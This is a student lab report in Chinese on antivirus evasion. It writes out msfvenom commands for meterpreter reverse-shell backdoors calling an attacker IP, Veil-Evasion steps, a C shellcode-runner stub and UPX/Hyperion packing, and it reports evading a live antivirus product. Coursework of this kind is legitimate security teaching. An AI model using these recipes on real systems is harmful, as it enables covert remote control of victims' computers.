2018-2019-2 网络对抗技术 20165219 Exp3 免杀原理与实践

实验任务

1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)

2 通过组合应用各种技术实现恶意代码免杀(1分)

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

基础问题回答

(1)杀软是如何检测出恶意代码的?

分析特征码,恶意代码都含有的一段代码,简称特征码,只要包含这段代码就被认定是恶意代码;

检测该代码执行时是否有异常的行为,比如打开异常端口、关闭防火墙等。

(2)免杀是做什么?

通过一些手段对恶意代码进行伪装,不被杀毒软件检测出。

(3)免杀的基本方法有哪些?

改变特征码,改变行为,利用现有playload手工打造一个后门程序。

实验过程

正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,自己利用shellcode编程等免杀工具或技巧
使用msf编码器msfvenom生成后门程序

实验二中生成的后门程序,在virscan网站中扫描

通过图片可以看到,不加处理的恶意代码能被绝大多数杀毒软件识别。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=攻击机的IP LPORT=端口号 -f exe > xxx.exe

进行10次编码试试降低检出率

在virscan网站中扫描

虽然进行多次编码,但特征码仍存在,因此依旧能被绝大多数杀毒软件检测出来。

msfvenom生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机的IP LPORT=端口号 x> xxx.php

在virscan网站中扫描

msfvenom生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=攻击机的IP LPORT=端口号 x> xxx.jar

在virscan网站中扫描

使用veil-evasion生成后门程序及检测

安装veil成功之后,输入veil,再用use evasion命令

输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接IP:set LHOST 此处IP为Kali IP

设置端口:set LPORT 5219

输入generate生成文件,然后输入playload的名字

在目录 /usr/share/veil-output/compiled里找到我们生成的文件,在virscan网站中扫描

利用shellcode编程
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=端口号 -f c

生成一段c语言格式的shellcode数组

编辑一个.c文件

unsigned char buf[] = 

int main()
{
int (*func)() = (int(*)())buf;
func();
}

i686-w64-mingw32-g++ 20165219.c -o 20165219.exe

编译后变成可执行文件



进行检测

windows上用杀软检测

加压缩壳

对上面的shellcode加壳

检测

使用加密壳Hyperion

将wyb_upxed.exe拷贝到/usr/share/windows-binaries/hyperion/

端输入命令wine hyperion.exe -v wyb_upxed.exe wyb_upxed_Hyperion.exe

通过组合应用各种技术实现恶意代码免杀

对半手工制作shellcode加压缩壳不能达到免杀的目的,加密壳有一定的几率是可以达到了免杀的目的。

加密壳的免杀和反弹连接

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

对方电脑的杀毒软件为:360安全卫士 版本11

免杀的截图

回连成功的结果图

实验过程中遇到的问题

没有成功安装veil

解决办法:拷了别的同学安装好veil的虚拟机

离实战还缺些什么技术或步骤?

免杀技术单一,跟不上病毒库的更新,以后应该尝试多种技术的组合

实践总结与体会

学习完本次的实验对免杀原理有了深层次的了解,为以后防范恶意软件攻击打下了基础。

2018-2019-2 网络对抗技术 20165219 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

随机推荐

  1. Spring启动时获取自定义注解的属性值

    1.自定义注解 @Target({ElementType.TYPE, ElementType.METHOD}) @Retention(RetentionPolicy.RUNTIME) @Documen ...

  2. 使用Visual Studio进行 Android开发的十大理由

    [原文发表地址]Top 10 reasons to use Visual Studio for C++ Android Development! Visual Studio: C++跨平台的移动解决方 ...

  3. 前端开发之jQuery位置属性和筛选方法

    主要内容: 1.jQuery的位置属性及实例 (1)位置属性 (2)实例 --- 仿淘宝导航栏 2.jQuery的筛选方法及实例 (1)筛选方法 (2)实例一:嵌套选项卡 (3)实例二:小米官网滑动 ...

  4. Android给ListView添加一个入场动画

    动画是一个App体现良好交互的一种手段,通常的我们会看到很多App的ListView的Item都有一个入场动画例如: 可以看到,当进入界面加载ListView的Item的时候有一个向左滑动显示,并且淡 ...

  5. java并发特性:原子性、可见性、有序性

    要想并发程序正确地执行,必须要保证原子性.可见性以及有序性.只要有一个没有被保证,就有可能会导致程序运行不正确. 1.原子性(Atomicity) 原子性是指在一个操作中就是cpu不可以在中途暂停然后 ...

  6. react native 导航路由组件react-navigation的使用

    navigation的几个难点和问题: 1.底部tab是否可以加上中间的大按钮? 如果加上,如何触发事件? js文件放哪? 2.navigation的登录注册页面.成功后应该不能返回刚刚的登录页面?清 ...

  7. leetcode 63 不同的路径2

    描述: 从左上角走到右下角,中间可能有若干阻碍: 题目给出一个矩阵,0表示可以走,1表示有障碍. 解决: 思路同第一题,只是如果上面或左边有障碍,自身不一定能走,注意些边界条件即可,复杂度仍是m*n. ...

  8. SpringMVC学习总结(一)--Hello World入门

    一.什么是Spring MVC Spring MVC属于SpringFrameWork的后续产品,已经融合在Spring Web Flow里面.Spring 框架提供了构建 Web 应用程序的全功能 ...

  9. springMVC入门程序。使用springmvc实现商品列表的展示。

    1.1 开发环境 本教程使用环境: Jdk:jdk1.7.0_72 Eclipse:mars Tomcat:apache-tomcat-7.0.53 Springmvc:4.1.3 1.2 需求 使用 ...

  10. IntelliJ IDEA版本控制——过滤提交文件

    File——>Settings——>File Types 在ignore files and folders中添加提交是需要忽略的文件 例如:*.iml;*.idea;*.gitignor ...